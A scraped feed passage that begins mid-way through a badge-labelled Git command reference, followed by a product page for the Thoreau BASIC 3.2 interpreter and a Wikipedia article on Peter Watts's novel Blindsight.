Prints the history of all branches as a text graph, one line per commit, with branch and tag names next to their commits.

Shown: git log --oneline --graph --all

View every change to a file, commit by commit

Safe

git log -p <file>

Lists the commits that changed <file> , each with the lines it added and removed.

Shown: git log -p app.py

Follow a file's history through renames

Safe

git log --follow <file>

Lists the commits that changed <file> , including the ones from before it was renamed.

Shown: git log --follow main.py

Find the commits that added or removed a string

Safe

git log -S " <text> "

Lists the commits that added or removed <text> , found by checking where the number of times <text> appears changes.

Shown: git log -S "logging"

List one author's commits

Safe

git log --author " <name> "

Lists the commits whose author name or email matches <name> .

Shown: git log --author "Ada"

List the commits from a date range

Safe

git log --since " <date> " --until " <date> "

Lists the commits made between the two dates. Exact dates like 2024-05-01 and relative ones like 2 weeks ago both work.

Shown: git log --since "2024-05-01 11:00 +0000" --until "2024-05-01 13:00 +0000"

git show <commit>

Shows a commit's hash, author, date, and message, followed by the changes it made.

Shown: git show HEAD~1

See who last changed each line of a file

Safe

git blame <file>

Prints each line of <file> with the commit, author, and date that last changed it.

Shown: git blame app.py

Count commits by author

Safe

git shortlog -sn

Lists each author who made commits on the active branch, with their number of commits, highest first.

Shown: git shortlog -sn

Describe a commit by its nearest tag

Safe

git describe

Names the current commit after the most recent annotated tag in its history, like v1.0-2-g1a2b3c4 : the tag v1.0 , 2 commits since it, and g followed by the commit's short hash.

Shown: git describe

Search all tracked files for text

Safe

git grep -n " <text> "

Searches every tracked file for <text> and prints each matching line with its file name and line number.

Shown: git grep -n logging

Find the commit that introduced a bug

Safe

git bisect start <bad> <good>

Starts a binary search between the <bad> and <good> commits by checking out the commit halfway between them. Test each commit Git checks out and mark it with git bisect good or git bisect bad until Git reports the first bad commit.

Shown: git bisect start HEAD 4114b2c

Compare changes 5 commands

See exactly which lines changed between your files, the staging area, commits, and branches. Nothing is changed.

Show unstaged changes

Safe

git diff

Shows the changes in the working directory that aren't staged yet, line by line.

Shown: git diff

git diff --staged

Shows the staged changes line by line, which is what the next commit will contain.

Shown: git diff --staged

git diff <commit> <commit>

Shows the changes between two commits. Branch and tag names work in place of commit hashes.

Shown: git diff HEAD~2 HEAD

git diff <branch> .. <branch>

Shows the changes between the latest commits of the two branches.

Shown: git diff main..feature

Summarize the changes per file

Safe

git diff --stat

Lists each file with unstaged changes and the number of lines added and removed in it.

Shown: git diff --stat

Branches 14 commands

A branch is a movable pointer to a commit, and HEAD points to the active branch.

Create a new branch without switching to it

Safe

git branch <name>

Creates a branch named <name> that points to the current commit. HEAD stays on the active branch.

Shown: git branch bugfix-header

List all local and remote-tracking branches

Safe

git branch -a

Lists local branches, then remote-tracking branches like remotes/origin/main . A * marks the active branch.

Shown: git branch -a

List branches with their upstream and ahead/behind counts

Safe

git branch -vv

Lists each local branch with its latest commit, its upstream branch, and how many commits it's ahead or behind, like [origin/main: ahead 1, behind 2] .

Shown: git branch -vv

List branches already merged into the active branch

Safe

git branch --merged

Lists the branches whose latest commit is already in the active branch's history.

Shown: git branch --merged

List branches not yet merged into the active branch

Safe

git branch --no-merged

Lists the branches that have commits not in the active branch's history.

Shown: git branch --no-merged

Switch to another branch

Safe

git switch <branch>

Points HEAD at <branch> and updates the staging area and working directory to match its latest commit.

Shown: git switch feature

Switch back to the previous branch

Safe

git switch -

Switches to the branch that was active before the current one.

Shown: git switch -

Check out a branch from the remote

Safe

git switch <branch>

When no local branch named <branch> exists but origin/<branch> does, creates the local branch from it, sets it to track origin/<branch> , and switches to it.

Shown: git switch feature

Create a new branch and switch to it

Safe

git switch -c <name>

Creates a branch named <name> at the current commit and switches to it.

Shown: git switch -c hotfix

Create a new branch at a specific commit and switch to it

Safe

git switch -c <name> <start>

Creates a branch named <name> at <start> , which can be a commit hash, a tag, or a branch like origin/main , and switches to it.

Shown: git switch -c search origin/feature

git branch -m <old> <new>

Renames the branch <old> to <new> . Its commits don't change.

Shown: git branch -m feature search

  • Undo git branch -m <new> <old>

Delete a merged branch

Safe

git branch -d <name>

Deletes the branch <name> . Git refuses if the branch has commits that aren't merged into its upstream branch, or into the active branch if it has no upstream.

Shown: git branch -d docs

  • Undo git branch <name> <hash>

Force-delete an unmerged branch

Destructive

git branch -D <name>

Deletes the branch <name> even if it has unmerged commits. Afterward, those commits are reachable only through the reflog.

Shown: git branch -D feature

  • Undo git branch <name> <hash>
  • Watch Note the hash Git prints. Git eventually deletes commits that nothing points to.

Check out a non-branch commit (detached HEAD)

Safe

git switch --detach <commit>

Points HEAD directly at <commit> instead of at a branch, and updates the working directory to match. Create a branch before committing there.

Shown: git switch --detach 96c4fc2

Merge 6 commands

A merge brings another branch's work into yours and keeps the history as it happened.

Merge a branch into the active branch

Safe

git merge <branch>

Merges <branch> into the active branch. When both have new commits, Git creates a merge commit with two parents.

Shown: git merge feature

  • Undo git reset --hard ORIG_HEAD

Fast-forward the active branch

Safe

git merge <branch>

When the active branch has no commits that <branch> lacks, Git moves the active branch forward to <branch> 's latest commit. No merge commit is created.

Shown: git merge main

Force a merge commit even if a fast-forward merge is possible

Safe

git merge --no-ff <branch>

Creates a merge commit even when a fast-forward is possible, so the merged branch stays visible in the history.

Shown: git merge --no-ff main

  • Undo git reset --hard ORIG_HEAD

Squash a branch's changes into one commit

Safe

git merge --squash <branch>

Stages the combined changes from <branch> without committing or recording a merge. The next commit contains them as one commit.

Shown: git merge --squash feature

Finish a merge after fixing conflicts

Safe

git merge --continue

Creates the merge commit once the conflicts are resolved and the files are staged with git add .

Shown: git merge --continue

Abort a merge with conflicts

Caution

git merge --abort

Stops the merge and returns the branch, staging area, and working directory to their state before it started.

Shown: git merge --abort

  • Undo Run the merge again

Rebase and cherry-pick 8 commands

A rebase replays your commits on top of another branch, so the history reads as one line. A cherry-pick replays single commits the same way.

Rebase the active branch onto another

Caution

git rebase <branch>

Replays the active branch's commits on top of <branch> , one at a time, as new commits with new hashes.

Shown: git rebase main

  • Undo git reset --hard ORIG_HEAD
  • Watch Don't rebase commits that others have already pulled.

Run an interactive rebase to edit, squash, or reorder commits

Caution

git rebase -i <base>

Opens an editable list of the commits after <base> . Change pick to reword , squash , or drop , or reorder the lines, and Git replays the commits as listed when you save and close the file.

Shown: git rebase -i main

  • Undo git reset --hard ORIG_HEAD

Move part of a branch onto a new base commit

Caution

git rebase --onto <new-base> <old-base>

Replays only the commits after <old-base> onto <new-base> . The commits before <old-base> stay where they are.

Shown: git rebase --onto main feature

  • Undo git reset --hard ORIG_HEAD

Continue a rebase after fixing conflicts

Safe

git rebase --continue

After the conflicts are resolved and staged, commits the stopped commit and continues replaying the remaining commits.

Shown: git rebase --continue

Skip the conflicting commit in a rebase

Caution

git rebase --skip

Skips the commit that caused the conflict and continues replaying the remaining commits.

Shown: git rebase --skip

  • Watch The skipped commit's changes aren't applied at all.

Abort a rebase in progress

Caution

git rebase --abort

Stops the rebase and returns the branch to the commit it pointed to before the rebase started.

Shown: git rebase --abort

  • Undo Run the rebase again

Apply a commit from another branch to the active branch

Safe

git cherry-pick <commit>

Applies the changes from <commit> to the active branch as a new commit.

Shown: git cherry-pick fc19889

  • Undo git reset --hard HEAD~1

Apply a range of commits from another branch to the active branch

Safe

git cherry-pick <from> .. <to>

Applies each commit after <from> up to and including <to> , in order, as new commits on the active branch.

Shown: git cherry-pick 96c4fc2..feature

Remotes 8 commands

A remote is a name for the URL of another repository of the same project. A clone starts with one named origin.

git remote add <name> <url>

Adds a remote named <name> for the repository at <url> , so you can fetch from it and push to it.

Shown: git remote add upstream ../your_project.git

List remotes with their URLs

Safe

git remote -v

Lists each remote with its fetch URL and push URL.

Shown: git remote -v

Show the details of a remote

Safe

git remote show <name>

Shows the remote's URLs, its branches, which of them are tracked, and what git pull and git push do for each local branch.

Shown: git remote show origin

Change a remote's URL

Safe

git remote set-url <name> <url>

Changes the URL of the remote <name> to <url> .

Shown: git remote set-url origin https://example.com/your_project.git

  • Undo git remote set-url <name> <old-url>

git remote rename <old> <new>

Renames the remote <old> to <new> , along with its remote-tracking branches and settings.

Shown: git remote rename origin upstream

  • Undo git remote rename <new> <old>

git remote remove <name>

Removes the remote <name> with its remote-tracking branches and settings. The remote repository itself isn't affected.

Shown: git remote remove origin

  • Undo git remote add <name> <url>

List a remote's branches and tags without fetching

Safe

git ls-remote

Lists the remote's branches and tags and the commit each points to, without downloading anything.

Shown: git ls-remote

Set the upstream branch of the active branch

Safe

git branch -u origin/ <branch>

Sets origin/<branch> as the active branch's upstream, so plain git pull and git push use it.

Shown: git branch -u origin/feature

Fetch, pull, and push 12 commands

Fetch and pull bring a remote's new commits down, and push sends yours up.

Fetch new commits from the remote, without merging

Safe

git fetch

Downloads new commits from the remote and updates its remote-tracking branches, like origin/main . Local branches and the working directory don't change.

Shown: git fetch

Fetch new commits on one branch from a remote

Safe

git fetch <remote> <branch>

Downloads only <branch> 's new commits from <remote> and updates <remote>/<branch> . Local branches and the working directory don't change.

Shown: git fetch origin main

Fetch new commits on all branches from all remotes

Safe

git fetch --all

Fetches from every remote, like origin and upstream , and updates all their remote-tracking branches.

Shown: git fetch --all

Fetch and prune deleted remote branches

Safe

git fetch --prune

Fetches, then deletes remote-tracking branches, like origin/<branch> , whose branches no longer exist on the remote.

Shown: git fetch --prune

Fetch and merge remote commits

Safe

git pull

Fetches the active branch's upstream and merges it into the active branch. When both have new commits, Git creates a merge commit.

Shown: git pull

  • Undo git reset --hard ORIG_HEAD

Pull a specific branch from the remote

Safe

git pull origin <branch>

Fetches <branch> from origin and merges it into the active branch, even if the active branch tracks a different branch.

Shown: git pull origin main

  • Undo git reset --hard ORIG_HEAD

Pull and rebase instead of merging

Caution

git pull --rebase

Fetches the active branch's upstream, then replays your local commits on top of it instead of merging.

Shown: git pull --rebase

Push the active branch's commits

Safe

git push

Sends the active branch's new commits to its upstream branch on the remote.

Shown: git push

Push a new branch and set its upstream

Safe

git push -u origin <branch>

Creates <branch> on origin , pushes its commits, and sets it as the local branch's upstream.

Shown: git push -u origin hotfix

Force-push only if the remote branch hasn't changed

Caution

git push --force-with-lease

Overwrites the remote branch with your local branch, but only if the remote branch hasn't changed since your last fetch.

Shown: git push --force-with-lease

  • Watch It still rewrites history that others may have pulled.

Force-push and overwrite the remote branch

Destructive

git push --force

Overwrites the remote branch with your local branch, even if the remote has commits you don't have.

Shown: git push --force

  • Undo No way back
  • Watch Commits that others pushed are removed from the remote. Use --force-with-lease instead.

Delete a remote branch

Destructive

git push origin --delete <branch>

Deletes <branch> on the remote. The local branch isn't affected.

Shown: git push origin --delete feature

  • Undo git push origin <branch>

Tags 7 commands

A tag is a fixed pointer to a commit, usually for a release like v1.0. Unlike a branch it doesn't move, and it isn't sent to a remote until you push it.

Create a lightweight tag

Safe

git tag <name>

Creates a lightweight tag named <name> that points to the current commit.

Shown: git tag v1.0

Create an annotated tag with a message

Safe

git tag -a <name> -m " <message> "

Creates an annotated tag named <name> on the current commit, storing the tagger, the date, and <message> .

Shown: git tag -a v1.0 -m "First release"

  • Undo git tag -d <name>

git tag -l

Lists all tags in alphabetical order.

Shown: git tag -l

Delete a local tag

Caution

git tag -d <name>

Deletes the local tag <name> . The commit it pointed to isn't affected.

Shown: git tag -d v1.0

git push origin <tag>

Pushes the tag <tag> , and any commits it needs, to the remote.

Shown: git push origin v1.1

  • Undo git push origin --delete <tag>

git push --tags

Pushes every local tag the remote doesn't have yet.

Shown: git push --tags

Delete a remote tag

Caution

git push origin --delete <tag>

Deletes the tag <tag> on the remote. The local tag isn't affected.

Shown: git push origin --delete v1.0

  • Undo git push origin <tag>
  • Watch Anyone who already fetched the tag still has it.

Stash 11 commands

The stash saves changes you're not ready to commit and cleans the working directory, so you can switch branches and reapply the changes later.

Stash your uncommitted changes

Safe

git stash

Saves the staged and unstaged changes to tracked files as a new stash entry, and resets the staging area and working directory to the last commit.

Shown: git stash

  • Undo git stash pop

Stash changes including untracked files

Safe

git stash -u

Stashes untracked files as well as the changes to tracked files.

Shown: git stash -u

  • Undo git stash pop

Stash changes with a message

Safe

git stash push -m " <message> "

Stashes the changes as an entry with the message <message> , which git stash list shows.

Shown: git stash push -m "Try a grid header"

  • Undo git stash pop

Stash changes to a specific file or file(s)

Safe

git stash push <file>

Stashes only the changes to <file> , leaving all other changes in place.

Shown: git stash push styles.css

  • Undo git stash pop

List all stash entries

Safe

git stash list

Lists every stash entry, newest first, as stash@{0} , stash@{1} , and so on.

Shown: git stash list

Apply and drop the latest stash entry

Safe

git stash pop

Applies the latest stash entry to the working directory and removes it from the stash. If applying it conflicts, the entry is kept.

Shown: git stash pop

Apply the latest stash entry and keep it

Safe

git stash apply

Applies the latest stash entry to the working directory and keeps it on the stash.

Shown: git stash apply

Drop a stash entry

Caution

git stash drop

Deletes the latest stash entry, or the one named, like stash@{1} .

Shown: git stash drop

  • Watch Git prints the dropped entry's hash. git stash apply <hash> restores it until Git deletes it.

Show the changes in a stash entry

Safe

git stash show -p

Shows the changes in the latest stash entry, line by line. Name an entry to see another, like stash@{1} .

Shown: git stash show -p

Create a new branch from a stash entry

Safe

git stash branch <name>

Creates the branch <name> at the commit the latest stash entry was created on, applies the entry there, and drops it if it applied cleanly.

Shown: git stash branch try-hello

  • Undo git stash

Delete all stash entries

Destructive

git stash clear

Deletes every stash entry.

Shown: git stash clear

  • Undo No way back
  • Watch Git doesn't print the entries' hashes, so recovering them is difficult. Check git stash list first.

Undo and recover 16 commands

Most mistakes in Git can be undone, as long as you know which command undoes what. The badge on each card says what's at stake.

Unstage a file's changes

Safe

git restore --staged <file>

Unstages the changes to <file> , so they're not in the next commit. The file in the working directory doesn't change.

Shown: git restore --staged README.md

Discard unstaged changes to a file

Destructive

git restore <file>

Discards the unstaged changes to <file> , restoring it from the staging area.

Shown: git restore app.py

  • Undo No way back
  • Watch Unstaged edits aren't saved in Git, so they can't be recovered. Run git stash first if you're not sure.

Discard all unstaged changes

Destructive

git restore .

Discards the unstaged changes to every file in the current folder and its subfolders. Staged changes are kept.

Shown: git restore .

  • Undo No way back
  • Watch Discarded edits can't be recovered. Untracked files aren't affected, so use git clean for those.

Discard all unstaged changes (older Git)

Destructive

git checkout -- .

Discards the unstaged changes in the current folder, like git restore . does. The -- marks what follows as file paths, not a branch.

Shown: git checkout -- .

  • Undo No way back
  • Watch Discarded edits can't be recovered.

Restore a file from an older commit

Destructive

git restore --source <commit> <file>

Replaces <file> in the working directory with its version from <commit> . Commit the file to keep that version.

Shown: git restore --source HEAD~1 app.py

  • Undo git restore <file>
  • Watch Uncommitted changes to <file> can't be recovered.

Amend the last commit

Caution

git commit --amend -m " <message> "

Replaces the last commit with a new commit that includes any staged changes and has the message <message> . Leave out -m to edit the existing message.

Shown: git commit --amend -m "Update dependencies and README"

  • Undo git reset --soft HEAD@{1}
  • Watch Don't amend a commit that others have already pulled.

Undo the N latest commits, keep their changes staged

Caution

git reset --soft HEAD~ <N>

Moves the active branch back <N> commits ( HEAD~1 undoes only the last one). Their changes stay staged.

Shown: git reset --soft HEAD~1

  • Undo git reset --soft ORIG_HEAD

Undo the N latest commits, keep their changes unstaged

Caution

git reset HEAD~ <N>

Moves the active branch back <N> commits ( HEAD~1 undoes only the last one) and unstages their changes. The working directory doesn't change.

Shown: git reset HEAD~1

  • Undo git reset ORIG_HEAD

Reset the branch and discard all changes

Destructive

git reset --hard <commit>

Moves the active branch to <commit> and resets the staging area and working directory to match it.

Shown: git reset --hard HEAD~2

  • Undo git reset --hard ORIG_HEAD
  • Watch Uncommitted changes can't be recovered. The commits can be recovered until Git deletes them.

Reset your branch to match the remote

Destructive

git reset --hard origin/ <branch>

Moves the active branch to origin/<branch> and resets the staging area and working directory to match, discarding local commits and changes. Run git fetch first.

Shown: git reset --hard origin/main

  • Undo git reset --hard ORIG_HEAD
  • Watch Uncommitted changes can't be recovered, and unpushed commits remain only in the reflog.

Revert a commit with a new commit

Safe

git revert <commit>

Creates a new commit that reverses the changes from <commit> . Existing commits aren't rewritten, so it's safe on shared branches.

Shown: git revert HEAD

  • Undo git revert <the new commit>

Revert a merge commit

Safe

git revert -m 1 <merge>

Creates a new commit that reverses the changes a merge brought in. -m 1 makes Git reverse them relative to the merge's first parent, the branch the merge was made on.

Shown: git revert -m 1 HEAD

  • Undo git revert <the revert commit>

Revert several commits in one commit

Safe

git revert --no-commit <from> .. <to>

Reverses each commit after <from> up to and including <to> and stages the result without committing, so one commit can undo them all.

Shown: git revert --no-commit HEAD~2..HEAD

  • Undo git revert --abort

Find a lost commit in the reflog

Safe

git reflog

Lists every commit HEAD has pointed to, newest first, including commits that no branch points to anymore.

Shown: git reflog

Undo a hard reset

Destructive

git reset --hard HEAD@{1}

HEAD@{1} is the commit HEAD pointed to before its last move, so this resets the branch to where it was before the reset.

Shown: git reset --hard HEAD@{1}

  • Watch Like any reset --hard , it discards uncommitted changes.

Restore a deleted branch

Safe

git branch <name> <hash>

Creates the branch <name> at <hash> , its last commit. Git prints the hash when it deletes a branch, and git reflog shows it too.

Shown: git branch feature 1117a34

Nothing matches that search.

Thoreau BASIC

Lobsters
thoreaubasic.com
2026-10-04 12:37:33
Comments...
Original Article

Download

Windows x64 · ZIP

UEFI x64 · ZIP

Plain-text documentation

3.2 release notes

THOREAU_GM.TBGM · losslessly compressed wavetable · 513.5 MB

3.2

File browsers and menus are now ordinary BASIC commands. GETFILES gathers files, directories and the parent entry with an optional file mask. SELECTBOX turns a string array into a keyboard- and mouse-controlled selector, with multiple columns, optional colors, and single or double box-drawing frames.

Filenames keep their original spelling and case throughout the file commands. Masks are case-sensitive. Full paths can contain up to 4,095 bytes, including an added extension; filesystem limits on individual names still apply.

STATEWRITE and STATELOAD checkpoint selected variables to two alternating, checksummed generations. FLUSH , FILECOMMIT and FILECOPY support staged saves and verified backups. CRC32 checks byte strings, and TEXTSTATS counts words and characters in a range of a string array.

SYSTEMINFO$ reports CPU and firmware details, usable AVX2 or SSE2, PARFOR capacity, the calibrated TSC counter rate, display backend and build information. Targeted JIT changes reduce work in floating-point INT and native complex, quaternion and octonion arithmetic. RUN can restart a program without growing the host stack, and HELP category headings appear once.

The Opus wavetable and WAV, FLAC, Opus and MIDI playback remain available. Sound banks are expanded to PCM before playback, with no decompression while music plays. Standalone EXE and EFI applications can omit the bank with NOGM . See the manual and release notes for the full changes and syntax.

What it is

Thoreau BASIC starts from GW-BASIC-style syntax but is not trapped in 1983. It has 64-bit memory, 24-bit graphics, sprites, mouse input, TCP/IP and HTTP, a complete GM/GS wavetable with MIDI/WAV/FLAC/Opus playback, complex/quaternion/octonion values, a debugger, profiler, source tools, multicore PARFOR , and native x64 JIT compilation.

The same BASIC language runs as a normal Windows program or directly from UEFI firmware without an operating system. BASIC programs can also be packaged as standalone Windows EXE or bootable EFI applications.

Still BASIC

10 CLS
20 PRINT "HELLO FROM THOREAU BASIC"
30 FOR I=1 TO 5
40 PRINT I
50 NEXT I
60 END
RUN

And now the orchestra is BASIC too:

SOUND PRELOAD
LOADMID 0,"BALLADE.MID"
PLAYMID 0

Graphics, networking and sound remain ordinary BASIC commands, not separate frameworks.

BASIC without an operating system

The UEFI build boots directly on x64 machines. It uses GOP graphics, firmware or raw HID keyboard input, mouse support with fallbacks, networking through firmware protocols or Thoreau's own SNP-based stack, HDA/Azalia PCM sound where available, and the same interpreter/JIT and GM wavetable used by the Windows version.

Pixel Prose

Pixel Prose is included as a Thoreau BASIC example and is also available as standalone EXE and EFI builds. The original versions for DOS, Commodore 64 and Amstrad CPC live with my other retro projects on itch.io .

Project

The project page and downloads are on itch.io .

Contact

info@thoreaubasic.com

Bug reports, compatibility notes and strange BASIC edge cases are very welcome.

If you want to support development, PayPal is available. No nag screens, no locked features.

Blindsight (Watts Novel)

Hacker News
en.wikipedia.org
2026-10-04 12:25:17
Comments...
Original Article

From Wikipedia, the free encyclopedia

Blindsight
Author Peter Watts
Cover artist Thomas Pringle [ 1 ]
Language English
Genre Hard science fiction
Publisher Tor Books
Publication date 3 October 2006
Publication place Canada
Media type Print (hardback)
Pages 384
ISBN 978-0-7653-1218-1
OCLC 64289149
Dewey Decimal 813/.622
LC Class PR9199.3.W386 B58 2006
Followed by Echopraxia

Blindsight is a hard science fiction novel by Canadian writer Peter Watts , published by Tor Books in 2006. It won the Seiun Award for the best novel in Japanese translation (where it is published by Tokyo Sogensha ) [ 2 ] and was nominated for the Hugo Award for Best Novel , [ 3 ] the John W. Campbell Memorial Award for Best Science Fiction Novel , [ 4 ] and the Locus Award for Best Science Fiction Novel . [ 5 ] The story follows a crew of astronauts sent to investigate a trans-Neptunian comet dubbed "Burns-Caulfield" that has been found to be transmitting an unidentified radio signal, followed by their subsequent first contact . The novel explores themes of identity , consciousness , free will , artificial intelligence , neurology , and game theory as well as evolution and biology .

Blindsight is available online under a Creative Commons Attribution-NonCommercial-ShareAlike license . [ 6 ] Its sequel (or " sidequel "), Echopraxia , came out in 2014.

In the year 2082, tens of thousands of coordinated comet-like objects of an unknown origin, dubbed "Fireflies", burn up in the Earth's atmosphere in a precise grid, while momentarily broadcasting across an immense portion of the electromagnetic spectrum, catching humanity off guard and alerting it to an undeniable extraterrestrial presence. It is suspected that the entire planet has been surveyed in one effective sweep. Despite the magnitude of this "Firefall", human politics soon return to normal.

Soon afterwards, a comet-surveying satellite stumbles across a radio transmission originating from a comet, subsequently named 'Burns-Caulfield'. This tight-beam broadcast is directed to an unknown location and in fact does not intersect the Earth at any point. As this is the first opportunity to learn more about the extraterrestrials, three waves of ships are sent out: the first being lightweight probes shot out for an as-soon-as-possible flyby of the comet, then a wave of heavier but better-equipped probes, and finally a crewed ship, the Theseus .

Theseus is propelled by an antimatter reactor and captained by an artificial intelligence . It carries a crew of five cutting-edge transhuman hyper-specialists, of whom one is a genetically reincarnated vampire who acts as the nominal mission commander. While the crew is in hibernation en route, the just-arrived second wave of probes commence a compounded radar scan of the subsurface of Burns-Caulfield, but this immediately causes the object to self-destruct. Theseus is re-routed mid-flight to the new-found destination of the signal: a previously undetected sub-brown dwarf deep in the Oort cloud , dubbed 'Big Ben'.

The crew wakes from hibernation while the Theseus closes on Big Ben. They discover a giant, concealed object in the vicinity, and assume it to be a vessel of some kind. As soon as the crew uncloaks the vessel, it immediately hails them over radio and, in a range of languages varying from English to Chinese , identifies itself as 'Rorschach'. They determine that Rorschach must have learned human languages by eavesdropping on comm-chatter since its arrival, sometime after the Broadcast Age began. Over the course of a few days many questions and answers are exchanged by both parties. Eventually Susan James, the linguist, determines that 'Rorschach' does not really understand what either party is actually saying .

Theseus probes Rorschach and finds it to have hollow sections, some with atmosphere, all filled with levels of radiation that render remote operation of machinery virtually impossible and would kill a human in a matter of hours. Despite this and over Rorschach's objections the whole crew except the mission commander enters and explores in a series of short forays, using the ship's advanced medical facilities to recover from the damage the radiation inflicts on their bodies. They discover the presence of highly evasive, fast-moving nine-legged organisms dubbed 'Scramblers'. They kill one and capture two for study. The 'Scramblers' appear to have orders of magnitude more brainpower than human beings but use most of it simply to operate their fantastically complex musculature and sensory organs; they are more akin to something like white blood cells in a human body. They are dependent on the radiation and EM fields of Rorschach for basic biological functions and seem to completely lack consciousness .

The crew explore questions of identity, the nature, utility and interdependence of intelligence and consciousness. They theorize that humanity could be an unusual offshoot of evolution, wasting bodily and economic resources on the self-aware ego which has little value in terms of Darwinian fitness. Open warfare breaks out between the humans and the Scramblers and Theseus eventually decides to sacrifice itself and its crew using its antimatter payload to eliminate Rorschach. One crew member, the protagonist and narrator Siri Keeton, is shot off inside an escape vessel in a decades-long fall back to Earth to relay the crucial information amassed back to humanity.

Crew of the Theseus

[ edit ]

  • Siri Keeton is the narrator and protagonist. Debilitating brain surgery for medical purposes has cut him off from his own emotional life and made him a talented "synthesist", adept at reading others' intentions impartially with the aid of cybernetics. He is assigned to Theseus to interpret the actions of the specialized crew and report these activities to Mission Control on Earth.
  • Major Amanda Bates is a combat specialist, controlling an army of robotic "grunts".
  • Isaac Szpindel is the ship's primary biologist and physician. He is in love with Michelle, one of the Gang's personalities.
  • Jukka Sarasti is a vampire and the crew's nominal (and frightening) leader. As a predator from the Pleistocene , he is alleged to be far smarter than baseline humans.
  • The Gang are four distinct personalities in the mind of one woman, the ship's linguist. They are tasked with communicating with the aliens, if possible. A single personality "surfaces" to take control of their body at any given time. The active personality reveals itself through a change in tone and posture. These personalities express offence when referred to as " alters ". The personalities are:
    • Susan James, whom the others refer to as "Mom". She is the "original" personality.
    • Michelle is a shy, quiet, synaesthetic woman who is romantically involved with Szpindel.
    • Sascha is harsher and more overtly hostile towards Siri.
    • Cruncher, a male personality, rarely surfaces and serves as an advanced data-processing facility for James.
  • Robert Cunningham, Szpindel's backup, is a secondary biologist/physician. He possesses a set of enhancements that allow him to process data with additional senses, and somewhat inhabits the machinery connected to him.
  • The Captain is the ship's artificial intelligence. Throughout the story, the Captain remains inscrutable and mysterious, generally communicating directly only with Sarasti.
  • Robert Paglino, Siri's childhood best friend and a practical example of Siri's muted emotions: Siri cannot actually feel "friendship" following his brain surgery, but intellectually knows how he is expected to behave as a friend and continues to play the part.
  • Chelsea, Siri's ex-girlfriend. A professional tweaker of human personalities.
  • Helen Keeton, Siri's mother, whose consciousness has been connected, brain in a vat style, to a virtual utopia called "Heaven". As a parent, she traumatized Siri with emotional demands and intrusiveness into his private life.
  • Jim Moore is Siri's father, a colonel involved with planetary defense.
  • Rorschach , an alien vessel or organism in low orbit around the sub-brown dwarf Big Ben. While it has a superhuman intelligence, it gradually becomes apparent that Rorschach completely lacks true consciousness or self-awareness .
  • Scramblers, 9-legged anaerobic aliens that inhabit Rorschach and appear to be part of it in some sense. Like Rorschach , they are more intelligent than humans but not conscious or self-aware.

The exploration of consciousness is the central thematic element of Blindsight . [ 7 ] [ 8 ] [ 9 ] The title of the novel refers to the condition blindsight , in which vision is non-functional in the conscious brain but remains useful to non-conscious action. [ 10 ] Other conditions, such as Cotard delusion and Anton–Babinski syndrome , are used to illustrate differences from the usual assumptions about conscious experience. [ 10 ] The novel raises questions about the essential character of consciousness. Is the interior experience of consciousness necessary, or is externally observed behavior the sole determining characteristic of conscious experience? [ 7 ] [ 8 ] [ 10 ] Is an interior emotional experience necessary for empathy, or is empathic behavior sufficient to possess empathy? [ 10 ] [ 11 ] Relevant to these questions is a plot element near the climax of the story, in which the vampire captain is revealed to have been controlled by the ship's artificial intelligence for the entirety of the novel. [ 10 ] [ 12 ]

Philosopher John Searle 's Chinese room thought experiment is used as a metaphor to illustrate the tension between the notions of consciousness as an interior experience of understanding, as contrasted with consciousness as the emergent result of merely functional non-introspective components. [ 7 ] [ 10 ] [ 12 ] Blindsight contributes to this debate by implying that some aspects of consciousness are empirically detectable. [ 8 ] Specifically, the novel supposes that consciousness is necessary for both aesthetic appreciation [ 8 ] [ 9 ] [ 11 ] and effective communication. [ 8 ] However, the possibility is raised that consciousness is, for humanity, an evolutionary dead end. [ 7 ] [ 10 ] [ 11 ] [ 12 ] That is, consciousness may have been naturally selected as a solution for the challenges of a specific place in space and time, but will become a limitation as conditions change or competing intelligences are encountered. [ 8 ]

The alien creatures encountered by the crew of the Theseus themselves lack consciousness. [ 7 ] [ 8 ] [ 11 ] [ 13 ] The necessity of consciousness for effective communication is illustrated by a passage from the novel in which the linguist realizes that the alien creatures cannot be, in fact, conscious because of their lack of semantic understanding:

"Tell me more about your cousins," Rorschach sent.
"Our cousins lie about the family tree," Sascha replied, "with nieces and nephews and Neanderthals. We do not like annoying cousins."
"We'd like to know about this tree."
Sascha muted the channel and gave us a look that said Could it be any more obvious? "It couldn't have parsed that. There were three linguistic ambiguities in there. It just ignored them."
"Well, it asked for clarification," Bates pointed out.
"It asked a follow-up question. Different thing entirely." [ 14 ]

The notion that these aliens could lack consciousness and possess intelligence is linked to the idea that some humans could also have diminished consciousness and remain outwardly functional. [ 8 ] [ 9 ] This idea is similar to the concept of philosophical zombie , as it is understood in philosophy of mind . Blindsight supposes that sociopaths might be a manifestation of this same phenomenon, [ 8 ] [ 10 ] and the demands of corporate environments might be environmental factors causing some part of humanity to evolve toward becoming philosophical zombies. [ 8 ] [ 11 ]

See Bicameral mentality

Blindsight also explores the implications of a transhuman future. [ 8 ] [ 12 ] [ 13 ] Within the novel, humans no longer engage in sex with other humans for pleasure, instead choosing to use virtual reality to find idealized partners, [ 8 ] and many choose to withdraw from reality entirely by living in constructed virtual worlds, referred to as "Heaven". [ 8 ] [ 12 ] Vampires are predators from humanity's distant past, resurrected through recovered DNA , and live among the humans of the late 21st century. [ 7 ] [ 10 ] [ 12 ] [ 13 ] These vampires operate with diminished sentience presented as comparable to high-functional autism with comparable dysfunction in affect and speech, but have the advantage of multiple simultaneous thoughts occurring in parallel within their minds. [ 12 ] Enhanced pattern-matching skills comparable to some forms of autism combine with this "hyperthreading" to make them invaluable in developing unusual and often very effective approaches to solving complex problems.

Carl Hayes, in his review for Booklist , wrote, "Watts packs in enough tantalizing ideas for a score of novels while spinning new twists on every cutting-edge motif from virtual reality to extraterrestrial biology." [ 15 ] Kirkus Reviews said about the book, "Watts carries several complications too many, but presents nonetheless a searching, disconcerting, challenging, sometimes piercing inquisition." [ 16 ] Jackie Cassida in her review for Library Journal wrote, "Watts continues to challenge readers with his imaginative plots and superb storytelling." [ 17 ] Publishers Weekly wrote, "Watts puts a terrifying and original spin on the familiar alien contact story." [ 18 ]

Elizabeth Bear , an award-winning author in the science fiction field, declared the following:

It's my opinion that Peter Watts's Blindsight is the best hard science fiction novel of the first decade of this millennium – and I say that as someone who remains unconvinced of all the ramifications of its central argument. Watts is one of the crown princes of science fiction's most difficult subgenre: his work is rigorous, unsentimental, and full of the sort of brilliant little moments of synthesis that make a nerd's brain light up like a pinball machine. But he's also a poet – a damned fine writer on a sentence level... [ 19 ]

